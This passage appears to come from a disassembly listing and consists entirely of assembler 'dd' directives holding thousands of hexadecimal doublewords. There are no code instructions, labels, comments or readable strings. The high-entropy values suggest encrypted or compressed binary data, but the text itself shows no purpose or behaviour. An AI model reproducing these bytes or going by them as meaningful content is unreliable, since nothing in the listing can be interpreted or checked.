8A164F68h, 0A2D1ACC7h, 8814D250h dd 180758Dh, 202D98D5h, 5FADCF73h, 0E3A04A2Ch, 44757024h dd 58BDF852h, 0EFC467EAh dd 2E5C18F5h, 39C59FBDh, 3A92A808h, 0A85347B4h, 0E5919231h dd 0D343505Ch, 0AD4A7Ah, 330DF700h, 6D316845h, 32BF7174h dd 525F9F79h, 0D831AAEEh, 366449E9h, 66D33128h, 4BB38C98h dd 0A65C3B7Ah, 5C3195C3h, 8D3E74F7h, 0A99ABD9Ah, 0FE02C74Ch dd 4318E06Dh, 4637B80Ah, 0F381014Ah, 706E1E9Ch, 69827F29h dd 0BD1FC8F4h, 2B3E3815h, 97C58181h, 3424F656h, 0E1412FD3h dd 653E032Ah, 0EBDBE274h, 4876F79Dh, 0A1B75B25h, 2A4E09D6h dd 5F02FA6Fh, 68CAEDE9h, 16A4BE7Dh, 0E10DAE7Eh, 30F60F4h dd 6F977F13h, 31F52B19h, 0B28E8E31h, 0B334D45h, 0BB18D07Fh dd 7728885Ch, 4630B328h, 0DAC1D3A1h, 2D162714h, 22090F76h dd 919A5D85h, 0ED49B0DFh, 5E2B7AECh, 2E8F531h, 2C705B08h dd 0FEE3E91Ah, 1626491h, 0FA189223h, 2A1C5709h, 6C49A1CAh dd 2D64E909h, 47618156h, 0F600C5FEh, 72DE9DDh, 24A034B7h dd 0A70A6AE9h, 9B401FD6h, 0FC078621h, 97AF694Ah, 0A82020D5h dd 2C9A40F4h, 5A8CCA01h, 0E4BDBA72h, 73BE207Eh, 511EDFB4h dd 92A05E53h, 0C493B064h, 10F196FCh, 1EBC028Dh, 884D5504h dd 271DE3CAh, 0D548AA3Fh, 8B2728E6h, 6910712Ch, 0E974C172h dd 0D2D47348h, 0E9F05FFCh, 9FD2FF0Ah, 37195EF8h, 7AC28BD2h dd 9DB4B097h, 7B84DB94h, 7D13C081h, 0FEC8E324h, 0D5A55952h dd 896BEF05h, 9930802Ch, 3B135E4Ah, 45F92DE9h, 966BC641h dd 0D29DB074h, 0BBF5F9B5h, 0F1F424A5h, 1EE39AE3h, 0CF70919h dd 386DA872h, 88835999h, 29595A2Ah, 2A247360h, 71574C12h dd 0F7C0AAA5h, 13940A8h, 0FBBA520Ah, 20756629h, 620F223Dh dd 89E942EAh, 94765424h, 0C600D002h, 89D17EFDh, 0B8065DEFh dd 0F6D2F107h, 0BF03B2ACh, 0AC76B43Ah, 6F948008h, 2542C409h dd 62C81EFFh, 77C3F029h, 9C0FB944h, 64797064h, 29FD8C6Dh dd 3254F10h, 6658E728h, 7089D253h, 0CBB909C0h, 0DE020E05h dd 5305B49Eh, 3C62ECB8h, 0ED68B613h, 434FAB68h, 1230018Ch dd 0C80E7D36h, 2B2433BEh, 0CF009172h, 18216779h, 71EF4D83h dd 9ED7313h, 3CD23121h, 1BBB2BB0h, 0E1C90B42h, 0B36C395Ah dd 7EF06809h, 5E6BEAD4h, 354000F2h, 8E9669Fh, 923AAB96h dd 96B57214h, 4B851239h, 5270F781h, 0A25A1026h, 4CF85870h dd 80445579h, 40E64D30h, 9F0905C8h, 5F7CE44Dh, 0F7255996h dd 600359D8h, 2D986D7Ah, 0B1017698h, 0E90D5E6Ah, 0D454D790h dd 2FA58881h, 3F10BCDh, 8002F23Ch, 0E82837EDh, 0DCB2D3E0h dd 6E2C013h, 2C6285FDh, 0BA009091h, 58D101C4h, 0EA06496Eh dd 22B1C389h, 0A9AC664Bh, 0D769B8D4h, 2957BD6Ah, 0B8340411h dd 0E592BCB8h, 218E4027h, 6830E978h, 0D35D2071h, 279B90E0h dd 0A3C12E40h, 0B92C648Ch, 622F1509h, 544A0465h, 0C9C2B0BAh dd 7740B31Fh, 51E927FEh, 0C510C10h, 5FC0390Bh, 9262DA68h dd 6BA09978h, 423008F6h, 0DEFD609Dh, 77214366h, 0F1E045BEh dd 9A275525h, 1E08404h, 9D65FA2h, 91542D44h, 0BD45044h dd 781E29AFh, 0D6E9A1F1h, 4000526Ch, 0F54E0105h, 0E824D14Fh dd 0E5017335h, 0B0DD2D31h, 0E92808C5h, 373B985Ah, 0F68D224Ah dd 5DEFCE7Ah, 2F20516Dh, 0C1819894h, 0B100DB5Ch, 0B30F53CCh dd 86D920A2h, 562C10h, 0E4C064B4h, 0EBF48007h, 0B3D34395h dd 7C1276CDh, 49F53EEAh, 6E92675h, 0EC58970Fh, 7EA84A7Eh dd 6E9F95F6h, 40C6B0C9h, 474B5C31h, 542472D8h, 0E83E7E8h dd 596E9F4Bh, 0E353F2C4h, 90670B8h, 7CE949B9h, 3092EE3Bh dd 0E192A35Ch, 21E03FC3h, 274148h, 432F10D1h, 0BFA5E7E9h dd 0B02D7647h, 0B7AFF05Ch, 0D5175645h, 9EA98A4h, 48A76BF8h dd 868A8D7h, 0D4BA1C34h, 0E38DAF03h, 34665D66h, 0E9165D5Bh dd 0A5B98434h, 447A3A55h, 5BEBCC0h, 0E9535351h, 0C0952AFh dd 0F68DAE2Ch, 0FD0EC10Bh, 20AE766Dh, 4FEF0980h, 0A0003547h dd 6F540F77h, 0EB7FCF9h, 0C35E6B25h, 0C43C017Fh, 1213C41h dd 2A7431F3h, 0F6C90A13h, 132F2B21h, 2974AF21h, 2A3C8680h dd 0F5345A50h, 0C4080484h, 2D9FD16h, 0BB51A4C7h, 0B14E5129h dd 6F188BE0h, 0A23B289Dh, 26E982A6h, 0BC17FD08h, 0D1CD5009h dd 88C0C9B9h, 0DD5EFAE9h, 20680C8Dh, 931B993h, 51C074E9h dd 573D3D07h, 360B67Fh, 0D7886EB2h, 0EF7043CAh, 33EE217Fh dd 0E1A51067h, 0C5E0B1E4h, 8C499CF6h, 0F8556EE6h, 76275F78h dd 4F152FDh, 0F7364BEDh, 1820B605h, 5F542932h, 44D05B21h dd 0FF9A63EBh, 0EF2A5A41h, 26A44FDh, 3E3F689Dh, 0EEDF6148h dd 0A10BDF82h, 1223768Bh, 0FDCC3768h, 28BA9207h, 0DA4BA1E0h dd 9556EADCh, 94094842h, 7271D97Eh, 0E76B9035h, 0B96809FEh dd 0C9225E0Dh, 0F20694F7h, 0D8C625E9h, 0E075B9EAh, 9F666195h dd 89BD19D8h, 8BF9D959h, 53DE8D7Ch, 143BE95Bh, 1059CA3Bh dd 660215E3h, 5BF82858h, 0D453DBC9h, 4C05251h, 76B142B6h dd 0D5D84BE9h, 98B58375h, 7BDC303h, 0D75EF861h, 0C6B4A954h dd 0A7050909h, 0E42B890Bh, 6849096h, 0DF2EA9B0h, 0D6883E89h dd 0EF88006Dh, 0E7C05966h, 1B25027Ch, 65015E08h, 0C06CD1F9h dd 0EB80F4E3h, 352A2F7Bh, 34CDBC1Eh, 0F7FC4DB0h, 6368B56Fh dd 1F90BDF4h, 0EE55E540h, 3B7813C5h, 4E7BFC31h, 48A2EC25h dd 0D2F38002h, 9081D988h, 7066D1B5h, 0D5E22829h, 50165AECh dd 2909A2B4h, 0BA84D7C0h, 50B6ACF2h, 7A9F68B8h, 5A6E9FB5h dd 3FF0500h, 0D0012C9Eh, 8B07A12Dh, 82DF257Fh, 9BDC9h dd 7D05763Ch, 0E42FFB37h, 0F5B83F78h, 0EDC14D09h, 0E93FF06h dd 0C0C58198h, 28C45B04h, 2E12BE9h, 21AB7204h, 34EE29E4h dd 585C766Ah, 0C6EF020Bh, 6027627Ch, 4454A5Dh, 70E913A4h dd 2B69EE97h, 55F012B0h, 1154D4E9h, 212C5F6h, 0FEB0D3Dh dd 4DC407DFh, 8EBF24B3h, 0A3A0406Ch, 0BE58180h, 531F0F30h dd 0F8D21F00h, 0E974ECF5h, 4727E9BCh, 16E91ED4h, 1653A3B3h dd 92402E5Fh, 0C06AA04Eh, 25FEB029h, 1ADB7FFCh, 1617549Fh dd 0C16F88A1h, 0A625116Dh, 0C70FD65Bh, 91F56DFh, 5ACBF74Bh dd 22B41C9Dh, 286BACE3h, 0B1D25AE7h, 4CA569ECh, 15B00976h dd 0BA09DF19h, 0E9C17A7Eh, 8D57AD45h, 0F71AF562h, 0E2B8029Ah dd 77C379BBh, 3D3B5B68h, 0CD607617h, 0D7C20CBh, 0F31F7776h dd 48FB7FF4h, 25B16B7h, 0C2D457E9h, 0E546AC25h, 9FC92922h dd 9949C9D1h, 71924E35h, 0AB31FF8Fh, 9EF9B0B1h, 4FBAEE34h dd 31B3C29Ch, 96FE2852h, 4EE2ABB7h, 0B24981FDh, 0EA5AC052h dd 68850199h, 91E23109h, 166E1DEAh, 57A921EFh, 0EC22CCh dd 7A4B388Ch, 0E65CD81h, 0E94FE533h, 0C9F39D49h, 0D11032ACh dd 68E20973h, 7AE45113h, 35808DA3h, 0B90B7117h, 2C04731h dd 9B2C3EEh, 1B156482h, 1CE3FEEBh, 37BD194Eh, 63735E7Fh dd 230F2CDBh, 450525Ah, 0A91095EFh, 0F70BAC2Dh, 2FB8F3E5h dd 20B64E02h, 0C798A2E7h, 0CCCBFCE4h, 0C6C346A8h, 59E3E775h dd 717AE8ECh, 2FB0EE7Eh, 2D31250Bh, 0C4C38247h, 0AA0104E0h dd 6CDB7201h, 0C9D4652h, 6769235h, 0C1C4B94Dh, 175B18ECh dd 1E7EBAA5h, 0A30A8B51h, 15C20C74h, 257CCE14h, 5FE27EE9h dd 4C04BC75h, 6E18C55Fh, 0D5312CC3h, 68A5D197h, 87A06F8h dd 0C2202E8Ch, 0DF292DFDh, 0F8018D7Ch, 55789D20h, 0EAB62230h dd 8D2B480Dh, 0A347D509h, 30D72909h, 0B8EA29D9h, 14CA094Bh dd 5EE0DA23h, 9E6B3759h dd 4C39007Eh, 0F6E97D35h, 0C5B712h, 0FFAA4327h, 4A88CBA4h dd 110E009Fh, 0F961BA48h, 4C98B7EEh, 0E525FC9Eh, 0CC74AD2Dh dd 2D48F25Ah, 5F7C0804h, 79F93C62h, 8E942D91h, 6F087995h dd 26AB7C62h, 2FC8B80h, 9507A04h, 6A31E99Bh, 322C50F4h dd 0A5D1C661h, 0B71A10D3h, 25275E84h, 0F7D3E5A2h, 0CE812410h dd 1B1A3D0Bh, 125EFC01h, 4FBDC255h, 87579E0h, 922C712h dd 608C2DEAh, 6C2613C4h, 0D909A243h, 0B2C78849h, 3DD35F95h dd 85832751h, 3CAB05FBh, 0C927E972h, 0C0E012F3h, 926B23AEh dd 7BF1974Fh, 10B951E2h, 0E918CE29h, 0BE346A8Bh, 0C02F12B4h dd 1C03B808h, 8AC2AFF6h, 0DDF589EAh, 71B09E64h, 0A651712h dd 0D586480Ah, 0EE0200A6h, 5406C076h, 62E95098h, 2D276E4Ah dd 0D0945285h, 6450F7FCh, 346F1B89h, 90984A7Bh, 0AEC184CBh dd 17B36E07h, 384CF13Ah, 0C6700A18h, 0B710931Eh, 9C40C459h dd 59FB6ED8h, 24DF5F89h, 9CB8CD35h, 73796D0Eh, 0B62CE0DFh dd 3CD9F9F0h, 0DA685F00h, 0DA33094Fh, 0D758905h, 26E94B74h dd 4040D894h, 33EB65FAh, 27592598h, 0F0291372h, 12E71D08h dd 2D0DF350h, 528ADC52h, 46A50345h, 26C490F4h, 0C8BCCA6Bh dd 0C25BA5F4h, 0CA54E9C2h, 0C5605D7Ch, 40199405h, 2DA04FAEh dd 3FF0744h, 58D57CD3h, 6075A5ECh, 0A983A6D5h, 0A806871h dd 8B2F39BFh, 0F7348179h, 0CEAF0D3Dh, 9BAC4B70h, 0B84317D3h dd 2151CF26h, 55E4362Eh, 17BED1A4h, 0DF47D0B9h, 661CAE35h dd 0DDA8DEF7h, 15963B20h, 251F1668h, 8087B439h, 3EFEC8C4h dd 0BDFCCC4Eh, 518E01CAh, 0C8E28852h, 422EE9D5h, 5B4248F1h dd 8758050Ah, 0F5EE1B14h, 7397E0E6h, 0DE68612Ah, 4A122318h dd 189C7AB9h, 1681C80h, 24885549h, 92B2A7D0h, 5A71C1EAh dd 9A2EF32Ah, 282D70Fh, 0BD763888h, 9B81E986h, 0DE29B5ABh dd 0FB26BAFDh, 82C60BB7h, 2BBC2DBh, 0E00E6AEBh, 57DFC279h dd 9C7D188Bh, 88D3950Bh, 0F84B163Bh, 93C157E8h, 201AC06Fh dd 3300FD21h, 0FA295FD6h, 0B4E166E9h, 0EACBEEA4h, 29957FECh dd 8A91C233h, 5B25E2DFh, 6A600828h, 382AF628h, 282FA711h dd 8A6C2267h, 0E294D78Eh, 2D636CBFh, 0BE6C6710h, 0D4011A9Ah dd 0C1262309h, 887A07EFh, 0D95897Dh, 0E66B8753h, 49AB9466h dd 59CF17ADh, 0A52A18F5h, 0E9C711E9h, 68136B0Ch, 0EAE4E5BCh dd 0EA560E32h, 0FF6F425Ah, 0E9FE0CBEh, 9066A427h, 4B2B6842h dd 71CE3025h, 7C2757BFh, 37379031h, 9E23B188h, 27F4B54h dd 0C26AC0DEh, 9170D604h, 33641Dh, 6D8243D1h, 2C0CCB81h dd 0C116A7Fh, 0B2651F31h, 40E9C410h, 61388AC6h, 0BDF68E5h dd 1377CA3Fh, 14618F5Ah, 135162FAh, 0EF34C8E9h, 0E484BD54h dd 0F75891FDh, 0C1EBFCD2h, 0F2DDFFCAh, 29129810h, 0EA2265D3h dd 675CB904h, 66CC0912h, 25F99C57h, 6058E8C1h, 8E374714h dd 0C3E612C9h, 81C70534h, 28AB9405h, 41B25EE5h, 6307B0A0h dd 0CA064B25h, 7508095Eh, 0F731D115h, 0D9A07709h, 5E082493h dd 0E0A725BEh, 0B106CCEFh, 3A2C46C1h, 0A7DBF828h, 535B016Eh dd 0FB281A68h, 4B753DEh, 13808681h, 848D5114h, 4519F7A8h dd 556FA3Bh, 3FC88369h, 0F743D811h, 204D3D1h, 0D5255AC9h dd 23480077h, 0B0754128h, 5D9E0E87h, 6CA5C938h, 0C8CCBA15h dd 820F4172h, 14712C3Eh, 84AC0008h, 0E917E7AAh, 0DAB497D7h dd 0D6D7AAB7h, 302C5104h, 599274DAh, 94A7515Fh, 212B207Eh dd 510239Ch, 0A0762458h, 0EC2774ECh, 306F0FE5h, 0F5840B09h dd 909FC66Ah, 2380EB1Eh, 513B389Eh, 5D0800D5h, 7A4ABEE9h dd 3431B290h, 0C3D605Ch, 71AF35BFh, 0CFE681A0h, 0BF2F0226h dd 0EBF31019h, 5E16D56Fh, 180E4410h, 1006E30Ch, 0B8C42B3Ah dd 0A3671364h, 0F9BBADB7h, 7FCC8887h, 0DFBA5F1Fh, 0FD86D913h dd 4A82F639h, 0C76CB40Ch, 0DD264A0Eh, 34E7C014h, 7C629651h dd 6C029583h, 5B04EC0Bh, 0CFEB0294h, 0B00222FDh, 5488497Eh dd 0A3A499Eh, 0F6A73371h, 830958D5h, 42888483h, 0CFD9DE41h dd 390D2C77h, 84D97D11h, 0FC13B6D6h, 4C971037h, 10C2FB22h dd 5774D3E9h, 0B5036EE6h, 0F6E5867Bh, 7CF0FAD4h, 345A813Ah dd 0ECC5306Dh, 0F9D0FECAh, 85871083h, 0C0B72C02h, 9F4008E0h dd 0C7258030h, 2827C94h, 8EE982F7h, 0BA04D070h, 10C5A14h dd 985D01BAh, 7A182A56h, 0B850F8C0h, 60790087h, 58C70943h dd 0E72EC147h, 813DA203h, 0E94EE108h, 846CADBCh, 12A389C4h dd 19249B9h, 0C8311851h, 0CEE9C597h, 3E5F014Ah, 7E55C5C6h dd 0BE31F4C9h, 464A4112h, 9A436FC0h, 8F78960Ch, 0C5019BC6h dd 30F20115h, 0B99C3F3Fh, 61C7EF9Dh, 0CFE64F0Ah, 58088BDEh dd 0A45E2ADEh, 723FC674h, 78652709h, 0B12713E3h, 19DC0B61h dd 5AD19B22h, 0E9F03F76h, 0B4635432h, 0A51D0202h, 8EAC13Bh dd 14E2B780h, 53584B75h, 32BF4009h, 0D0ADA116h, 408F95A0h dd 6ABDB9B3h, 78845DD6h, 8568256h, 8B14577h, 0B70E23DEh dd 0CAF1133Ah, 9F208E21h, 3BCEB16Ah, 0C50BEC99h, 28C3F9FDh dd 8FBA074Bh, 42E69724h, 70466A6h, 82B0B54Ah, 0FBF4C617h dd 4204A3ECh, 0EF49C330h, 868411Dh, 0D0FEA295h, 0E896487Dh dd 0B8E2B704h, 9D251655h, 9E41646Ah, 0C69854DDh, 41E916DEh dd 7677FE1h, 9268DFA0h, 603A9405h, 6D3B635Bh, 0D1C7292Dh dd 7CE9E1B2h, 0DD815179h, 0F2E22B5Bh, 37D60503h, 0A1484A56h dd 5BBC443Ch, 30255577h, 57B34AB8h, 2B11BCBh, 6777C201h dd 7F680528h, 3144F23Ah, 88DD4850h, 32D82801h, 96BF7C52h dd 70FB9FBCh, 0FFE6B28Ch, 9F2D07D0h, 0C5CF988Eh, 3694AA06h dd 0B3D6FABDh, 0DBE90D64h, 832F296Dh, 0D1316CEBh, 1A0BDEE6h dd 2CA27120h, 0E851643h, 15CB7EC6h, 77AC1B02h, 8C6B6803h dd 0BC5B1AB2h, 0FC1909CAh, 76825D51h, 0D20BDC1Ch, 6094F2C9h dd 0E0F66BADh, 0CF4A85CAh, 0B93C5AACh, 41984C9Dh, 77E9D931h dd 0D32A96FAh, 786C164Bh, 67B8093Fh, 2026443h, 0E4F26266h dd 89951BEEh, 52387689h, 2F80ED41h, 9743ADC9h, 45514ECCh dd 1E18959h, 916E5D92h, 59A46039h, 44E906A0h, 19795F0Eh dd 9210D601h, 0CC5D2508h, 77C86A82h, 36ED00DEh, 252D6E54h dd 52912E17h, 5E7D84B8h, 7D14D1F8h, 0E15903CFh, 0F23AB03Eh dd 0C40B9F27h, 2000C672h, 0DE819854h, 96516542h, 0D14B7B40h dd 2C52464h, 0E5262407h, 4007E9E3h, 9B74BB7h, 0C96EE6D6h dd 2544B9E4h, 50F7554Eh, 3BFF5389h, 48AC25A8h, 0B857D28Fh dd 2F20A667h, 0FD1994D1h, 211F2E77h, 2260A64Bh, 605AD3BFh dd 159DD27h, 0C2317638h, 766096E9h, 89821317h, 0C1A4EFE8h dd 10A268D0h, 0A66D35E9h, 886CB7FDh, 5B030520h, 7302BC5Dh dd 50090097h, 7DDBB53h, 8965C70Bh, 0F080E4D8h, 0C069FE1Fh dd 9FA38504h, 95F3A088h, 0FF04D600h, 0C01DD0F6h, 30DD07E8h dd 0F7D8D8D6h, 0C362958Ch, 0A5EF147Eh, 47B480C9h, 9F260BD0h dd 8F50314Eh, 0EF763634h, 0FDEA17FBh, 870AD3D7h, 42AD75CBh dd 0D0D5DC85h, 6880E0FAh, 662E1775h, 4C18A322h, 7A0504BEh dd 67A87941h, 0BC10112h, 0E56101Ah, 0C742E4C8h, 7012DF5Fh dd 0CB11B057h, 760F27EDh, 0E902DFFEh, 0D9EF62Fh, 337D6A29h dd 388D8D2Bh, 0A22D8010h, 0DD5C0509h, 9D07284Ah, 99A92C70h dd 35897021h, 6AECE54Ah, 1F4752C4h, 21406F53h, 0F280CAFEh dd 0E2C01D6Bh, 0D333BC03h dd 0C2E0F412h, 0D00930A5h, 45C6885Ah, 0EE8009E2h, 0F1156104h dd 0DD817EA2h, 83E808EDh, 71A09F95h, 4F1E664Ah, 36FCF8EDh dd 2C241335h, 7B54516h, 0F0F9356Eh, 0F34F806Fh, 0B691A08Ch dd 97BC271Ah, 0C0CB43D7h, 5D30752h, 0F678CFB3h, 263100Ch dd 0DA5B0DD2h, 4B79D4CBh, 925F743Dh, 24F2E0BBh, 0C020F458h dd 78B95D4Eh, 7DE5F103h, 0D7F91DBFh, 0F3458083h, 0DB9F3DF7h dd 5BDA0A89h, 9DD5253h, 7698E275h, 323ABE66h, 314E5847h dd 9BE1448Eh, 0F25B2133h, 4500D3B1h, 19201F9Bh, 58E25CC1h dd 5701494Ch, 0FE064DBFh, 5AEC3C6Dh, 680B5DEDh, 0F9F30866h dd 82135624h, 1DAA28ABh, 1EBD065Ah, 0F4F80889h, 83A35A4Eh dd 12B7ADD6h, 60E926D5h, 2FADE9A1h, 2CBBFE13h, 0B0B55BBCh dd 1129C52Eh, 28671779h, 0B89808EDh, 0F4E87CD6h, 3726EA1h dd 0FC905E29h, 0EA8B400Ah, 21AD1D0Dh, 4020024Fh, 0F260392Eh dd 3856648h, 0A18A804Dh, 3C5EB190h, 0CC2FB3A1h, 0F19755B6h dd 0D00558EFh, 66EB3302h, 7D0B4CE9h, 6E0BDB45h, 2D0EC6DBh dd 0A2305452h, 23D75FD6h, 29E079C2h, 0A291DEF6h, 98CE1F5Bh dd 0FB722830h, 0D609B5B1h, 49B1DC74h, 0EEB16C04h, 63C25B24h dd 0CC145F8Bh, 0ACE91E9Fh, 70682510h, 82DB188Bh, 2D107EA7h dd 0D8A6D465h, 0E9028907h, 9DBB5DD6h, 6EE7F00h, 0B57E540Bh dd 98825827h, 9D9BADDh, 2D55A416h, 0D097DDFAh, 0EB17341Ah dd 104C872Ah, 685AF728h, 8E8144Eh, 551B2C7h, 0ADAD71D7h dd 9181AD8Fh, 86549F9Ch, 94FEC9C4h, 90A20579h, 0C4CEBCE5h dd 81E41158h, 605C41C0h, 0C24873BEh, 7BCBB3A3h, 0F46EED3Fh dd 56F858E6h, 97AF1649h, 0FDE570E4h, 83584340h, 82EA5BCEh dd 0AAD65299h, 304BD202h, 0FC2DD48h, 17AB070Ah, 0BB925292h dd 8D14C617h, 6F1F0572h, 84F439CFh, 0ACB04014h, 50526600h dd 8853CBB4h, 0A3E3EDE7h, 0FFF4B1FEh, 88376EA9h, 0BA01D539h dd 19915ED0h, 0C238BFE9h, 58E53870h, 1377E824h, 11D794C9h dd 8705B5E7h, 0EBE7D1F7h, 400990D8h, 1F772CB8h, 0DB993124h dd 4EFD4796h, 108E6882h, 525ED366h, 125F98FCh, 0C544FCEAh dd 19E3B7C4h, 2DC45027h, 75E442B5h, 0A5E98EB8h, 5F125096h dd 84FBF50Bh, 64AA66BAh, 0BE835713h, 0A8DAAD68h, 18D8308Fh dd 1977ED68h, 38B37019h, 18A0CB22h, 0D7A61A56h, 8AF412C4h dd 0B86701BDh, 7D17D0C6h, 60003540h, 2526B42Ah, 17483D69h dd 5E8832Ch, 0EF05E057h, 642B9680h, 0BD5205C0h, 81B4184Dh dd 49992F34h, 0B1C9A440h, 0C965F900h, 0F1D3F731h, 90D8917Bh dd 10C90713h, 805B4E72h, 3B4FC180h, 0B1080783h, 0D9E7FE58h dd 0D8C354F1h, 9918FDE9h, 2B66A7FBh, 696E3DFCh, 5B26A446h dd 0A4883ACDh, 0BD0091F8h, 65B41FC5h, 69F49845h, 0B8760FC2h dd 7C026528h, 0E9334A67h, 3EAB7C32h, 0A7C0B84Eh, 0FFB2F1F2h dd 8AC9A01Bh, 6812977Eh, 5FB1E8C4h, 2039DF6Eh, 57E92D33h dd 0DCBEAEC1h, 11A3A79h, 41C3F029h, 8100E2ABh, 2D27FEE7h dd 3C2A7CE1h, 0FD558300h, 405FF809h, 3F3C0501h, 23E91808h dd 150D334h, 0F155C668h, 0DD055844h, 891CC4BDh, 933CC1B9h dd 64AF6DF5h, 3E79FBB5h, 60F73134h, 6F2D1CDEh, 3125AED6h dd 60799AF0h, 5663D88h, 0EFE93815h, 56D04480h, 0DBB015Ah dd 0B7417B7Ch, 0B80090C6h, 0A12D491Dh, 818C6010h, 1A3C1EC9h dd 1812E5Eh, 7B9C66Eh, 75D76A89h, 6676C40h, 0DCE92F79h dd 750261A9h, 5E018FBBh, 0EB88295Bh, 556B6366h, 6232BB82h dd 202E4077h, 5A552561h, 5908F3E0h, 0FB87A95h, 66D42711h dd 6DC9D2B7h, 68DFBACAh, 938DCC91h, 685302E9h, 9CF57C3Ah dd 67E91332h, 821A520Dh, 6842F10Bh, 4C804B55h, 0FA10A810h dd 77213CBBh, 74A8E427h, 0CE44CF4Bh, 1638A6DCh, 28FE7B4Eh dd 33007786h, 0C2812F29h, 4CD6CC8Dh, 9D0037D0h, 139EA20h dd 10B053D1h, 52209941h, 0A03B9559h, 0D8840C58h, 0BD56D5E4h dd 5B46BDF9h, 720100EEh, 305382Ch, 0C748D38Eh, 56C12D94h dd 690A6973h, 60F310DFh, 50EE036h, 4A44F669h, 21FED0A7h dd 7EE36B7Ch, 92F24EA0h, 0D2D39D22h, 0E9555C60h, 0D749B533h dd 40CE31C7h, 4147D488h, 5AC73B78h, 0C430B830h, 32157105h dd 2D6427E4h, 525E0780h, 0E19FC289h, 0EFFD5886h, 211ACD22h dd 14AA5FC4h, 3554018h, 585872C5h, 9792552h, 27CF47D7h dd 5C514474h, 0A673C541h, 58056433h, 0A9718268h, 7DE982E7h dd 0B5510017h, 0EB5C88E6h, 0C2642D2Ah, 0BB16571Ah, 90FE14BDh dd 12165F92h, 9560ABCCh, 0E1614368h, 0DE16FFC2h, 0C22B01F1h dd 7E070005h, 5B6FFB07h, 5E3C11Fh, 0DA45F0D3h, 7CAFD7F6h dd 0D25E90Eh, 4A3AD671h, 79121547h, 51F0B409h, 0B9D68B04h dd 71BAD2CDh, 7C02E941h, 0D7291A17h, 0A8667474h, 0E9F817F0h dd 5C674B85h, 820B0E4h, 0F5863958h, 0B050EF02h, 1E413002h dd 0E93BCC80h, 617A6B24h, 5E99F667h, 50D1A5B0h, 5D8C6885h dd 0CDBE9435h, 0AAF84464h, 15D94591h, 8915222Eh, 5E081ADCh dd 69D82DD5h, 113D5D14h, 588801E6h, 0BCE92CD0h, 0D17E932Bh dd 7B64BEB9h, 1F120A8Ah, 0BD04A4ABh, 25160E60h, 7A813CBCh dd 5D3E2756h, 46136864h, 0DB01D6F7h, 3FFA115Bh, 3A60DFE1h dd 8621193Bh, 0F0D00C2Dh, 0DC801A44h, 6CA83E2Ch, 3666F701h dd 0C2E9436Eh, 0BD04EC58h, 311773CDh, 4199CEE0h, 1E022AE8h dd 0D754C40Fh, 0FAC1E600h, 7D0B1552h, 0FFC81CE9h, 8FBCC619h dd 0E5DA31A5h, 8DEF037Ah, 0B2C6BE76h, 0D5EFFD80h, 27F8EA28h dd 88A0F6FAh, 0E6BD9892h, 5D02F0Fh, 45AFB654h, 0EDC2AFD3h dd 8F62B274h, 0CBE55FC6h, 4BDD7169h, 0E9E16671h, 0C5689E28h dd 0F85DC4h, 0D04EDEB9h, 0D790A221h, 0E16BAC8Eh, 0FFD386D5h dd 318CC03h, 7B1F8F12h, 0EABB166Eh, 1301165Fh, 450F7833h dd 0C93E1F7Fh, 127D9B1Dh, 460DD7ECh, 0D6F2260Dh, 83B1D2A8h dd 80FE0487h, 2899B41Ah, 5812E276h, 85D8D588h, 14496DAh dd 111D99BDh, 38E977Bh, 0E0C5C100h, 0EC16C933h, 5F1907E5h dd 69C109DAh, 0BF15FE02h, 2AA6CD7h, 37FCEE81h, 8AFE631Dh dd 2457DC0Dh, 8503D7Fh, 612AE9CBh, 0ED50B6F9h, 0EC0FF5E3h dd 0CE014C30h, 680970A3h, 94792D0Fh, 0B9088D82h, 1F5A404Eh dd 780E1C59h, 0D46FD5E9h, 32433F0Ch, 7153D1AEh, 5FC040E6h dd 751A531Fh, 30F0C38Bh, 0BAF9F77Ah, 0BA58B592h, 0F56A7C03h dd 244D5D25h, 0BE9908FEh, 0F8C0F620h, 7B36B7DEh, 0D70FD29h dd 9499BA6Dh, 0CEDFDA1Bh, 449F0935h, 8A523274h, 8BBB640Bh dd 12D054CDh, 4EDDA83Bh, 0AC31372Dh, 0B2F42141h, 236E4C32h dd 0E4A1D21Eh, 0DF4BF1E2h, 480104F0h, 2F13BDCBh, 5E60F69Ch dd 0E4DEF6E3h, 2817059Dh, 7E76C2C8h, 60DF6800h, 5A7105B4h dd 0C0EAD142h, 0C33DFA61h, 940C5867h, 5277D087h, 277FAEDCh dd 3D10207h, 0BB60480Bh, 21E2019Bh, 2931F376h, 42EDE1CDh dd 3ED15908h, 7F12204Ah, 714D8788h, 0BFBE9220h, 0D9C36CEAh dd 86C887BAh, 0AF026851h, 597FDE99h, 21868431h, 4F598BAFh dd 87B775D1h, 282E033Dh, 444742E6h, 9236D429h, 5E264B7Eh dd 0AE5C1374h, 0D97927DDh, 51369A7h, 9750C1F0h, 814600A6h dd 26B412E6h, 5974044Dh, 254514ACh, 804D5954h, 37C5317Fh dd 10652F68h, 80AC4B5Dh, 0C57DE45Ah, 7B829A1Dh, 0E9E889C2h dd 24D37667h, 880440FAh dd 2AC08FB3h, 12E11609h, 4C7AA01h, 478B5908h, 708DE90Ch dd 0C81DEBC7h, 0F34FC3FEh, 89EC0716h, 0E91CC4B0h, 0F4C54BB4h dd 42710476h, 0C5E20B0h, 67F6B28Ch, 0F2CDD9C0h, 0E7EAA38Ch dd 5193C057h, 2B95243Ah, 0B6802E5h, 6EE6A91Bh, 13EDF8B5h dd 7BA022h, 0C407FD3Dh, 0F82DE977h, 2FCCD2DFh, 0E810A0C5h dd 4B042D58h, 9A2CF05h, 27E9C1B4h, 0EEBA6886h, 0C7E6245Dh dd 564BC5E8h, 7BD705A2h, 84FFACA1h, 0C980CF01h, 0EFA00A26h dd 0B08F292h, 8F0576F1h, 16C5BCA9h, 69325759h, 12B418EDh dd 4655CD33h, 3F34C0F4h, 5AD30531h, 0F05BDE89h, 0D95010ECh dd 5417CD19h, 8F55D05h, 0B9680800h, 8166BD5Fh, 0A1E7A820h dd 9C2E5328h, 0B13E51FEh, 0E9500493h, 66B6569Ah, 8C2F6017h dd 705B7D9Eh, 3B9FC9Ch, 331272D6h, 0B12D8BBh, 116CB29h dd 0A96834E1h, 1224E9B8h, 96BF2CD3h, 9B01C0B2h, 7BB75366h dd 26697C90h, 0F25A615Bh, 2CE92EAEh, 82258235h, 0C0E329h dd 6082B3FDh, 0E5E46852h, 0E718C2Ah, 260C5205h, 0F14E564Eh dd 0C1DE825Eh, 0D5BA60E6h, 0EE3180F0h, 552749BFh, 5C739A28h dd 0D6408DD7h, 0E36A5AE9h, 1DBB029Dh, 0E064C5E3h, 0E0255287h dd 